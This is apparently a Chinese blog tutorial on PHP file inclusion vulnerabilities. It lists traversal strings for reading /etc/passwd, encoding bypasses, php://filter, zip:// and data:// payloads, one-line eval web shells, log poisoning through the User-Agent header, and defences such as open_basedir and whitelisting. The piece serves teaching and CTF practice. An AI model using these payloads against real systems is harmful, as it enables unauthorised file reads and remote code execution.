文件包含漏洞分析和防御

简介

文件包含是一个功能,当前文件可以包含外部文件进行引用,方便开发,可以看成类似导入模块、引用lib,dll等。

形成原因

文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,没有对传入的文件名或路径进行合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

文件包含函数

PHP

include()     //在找不到被包含的文件时只会产生警告,脚本将继续执行。
require()     //在找不到被包含的文件会产生致命错误,并停止脚本。
include_once()     //文件只包含一次,如果已经包含则不再包含文件。
require_once()     //文件只包含一次,如果已经包含则不再包含文件。
注. require()一般写在代码的开头。
当时有以上4个函数之一包含文件时,该文件将作为PHP代码执行,PHP内核并不会在意被包含文件的类型。

JSP/Servlet

ava.io.File()
java.io.FileReader()

ASP

include file
include virtual

判断类型

当?file的参数值为PHP文件时:
1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件查看漏洞
3.提示下载,则是文件下载漏洞

文件包含

本地文件包含(LFI)

举例:
1.php

<html>
<body>
<?php
echo "本地文件包含".'<br>';
$file=$_GET['file']; //"../../etc/passwd\0"
echo $file;
if(file_exists($file.'.php')){
    
    
	echo '存在本地文件';
	include($file.'.php');
}
?>
</body>
</html>

2.php

<?php
phpinfo();
?>

file变量可控
当我们传入参数时可以进行包含。
在这里插入图片描述
我们可以构造

…/…/etc/passwd
目录穿越读取敏感文件

但是我们还需解决后缀.php,可在路径后面加上\0(%00)截断
一般都可以禁用\0正常用户用不上。

$value=str_replace("\0",'',$value);

但是可以绕过,利用操作系统对目录的最大长度限制,可以不需要0字节而达到截断的目的,windows下256字节,linux下14096字节时会达到最大。

././././././/abc
//abc
…/a/abc/…/a/abc/…a/abc

.被过滤
可通过不同编码方式绕过
绕过服务端逻辑:

%2e%2e%2f 等价 ../
%2e%2e/ 等价 ../
..%2f 等价 ../
%2e%2e%5c 等价 ..\
%2e%2e\ 等价 ..\
..%5c 等价 ..\
%252e%252e%255c 等价 ..\
..%255c 等价 ..\

某些web容器支持的编码方式

..%0c%af 等价 ../
..%c1%9c 等价 ..\
CVE-2008-2938 Tomcat
%c0%ae 等价../

防御

设置open_basedir,其作用是限制在某个特定目录下PHP能打开的文件,防止目录穿越。
注意:
open_basedir的值是目录的前缀

open_basedir=/home/app/a
允许范围
open_basedir=/home/app/aaaa
open_basedir=/home/app/abc
open_basedir=/home/app/aaa1231
在某个目录下范围
open_basedir=/home/app/a/

通过枚举目录路径也可以

本地包含技巧

  1. 包含用户上传的文件
  2. 包含data://或php://input等伪协议。
  3. 包含session文件
  4. 包含日志文件,比如Web Server的access.log
  5. 包含/proc/self/environ文件
  6. 包含上传的临时文件(需要条件竞争)
  7. 包含其他应用创建的文件,比如数据库文件,缓存文件,应用日志等。

php://协议的使用

要求 allow_url_include设置为ON
payload:

?file=php://filter/convert.base64-encode/resource=flag.php 
?file=php://filter/write=string.rot13/resource=2.php
post:先rot13加密。

编码绕过die(),后台在写入内容之前插入了die()函数,下面的payload是使用编码将die()函数编成乱码,后面的一句话编码成正常代码,从而绕过。

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>? 
利用php编码绕过die(),将文件前面的代码打乱,将输入的代码变正常。

zip://协议
当通过zip://协议解析这个压缩文件时,会自动将这个zip文件按照压缩时的文件结构进行解析然后通过#(%23)+文件名的方式对zip内部所压缩的文件进行索引。
这时整个文件流被定位到x.php的文件流,即include实际包含的内容是x.php的内容。
payload:

?file=zip://uploads/xxxxx.png%23x&shell=phpinfo();
xxxxx.png(zipfile)
x.php=>"<?php eval($_GET['shell']);?>"

data:协议

要求 allow_url_include设置为ON
payload:绕过对输出内容过滤

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= 
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= --><?php system('cat flag.php'); 

扩充:<?= e v a l ( eval( eval(_POST[“1”]);>

先<?php system(‘ls’);查看当前目录的文件,在读取文件system(‘cat flag.php’)
注意:有时候cat被过滤,可以查找其他读取命令如(tac,nl等)。

日志包含:

(抓包改包分析)(waf过滤了php://、data://等伪协议)

将User-agent头改为类似<?php eval($_POST[hack]);?>
发现报错后会写入日志。
在日志中包含(需要知道日志文件的路径)

nginx日志文件路径:

/var/log/nginx/access.log
访问日志文件路径,提交表单
POST:hack=<?php system("ls");?>

session

一般要求比较苛刻,session文件在/tmp目录下
利用session.upload_progress进行文件包含和反序列化渗透
当伪协被拦和文件后缀不可控时,可以用session.upload_progress进行文件包含绕过文件包含的waf。
当在上传文件时,用户端可以使用session.upload_progress函数进行查询上传进度,

我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要上传一个session文件,并且知道session文件的存放位置。

需要利用条件竞争:待补充…

远程文件包含(RFI)

要求 allow_url_include设置为ON
通过可控url包含远程文件(攻击者定义的文件)
如url后面有路径,可通过? 、%00截断
前者是?后面的代码被解释成url的querystring
后者是0字节截断

文件读取:

函数:fopen()、fread()、file_get_contens()等
目录穿越:

?file=../../../../../../etc/passwd
?file=../../../../../../../../etc/passwd%00(%00截断后面的路径)
?file=../index.php
?file:/// 伪协议 读取本地文件内容
?f=file:///etc/passwd
/proc/self/environ 获取当前进程的环境信息,进而进行恶意代码注入
/proc/$pid/ 获取当前进程的pid

其他

当不知道目录下的文件名或有waf拦截时,
Windows下可以用通配符 *?
windows下对应正则通配符规则 ‘>’相当于‘?’;‘<’相当于‘*’;
‘"’相当于‘.’(注:*没有匹配数量限制,?有限制,一个?匹配一个字符)

防御

1、禁止用户操作文件包含参数,写死
2、过滤./等,防止目录穿越
3、使用文件包含白名单,防止包含非预期文件

未完待续…

Guess you like

Origin blog.csdn.net/weixin_44033675/article/details/116279306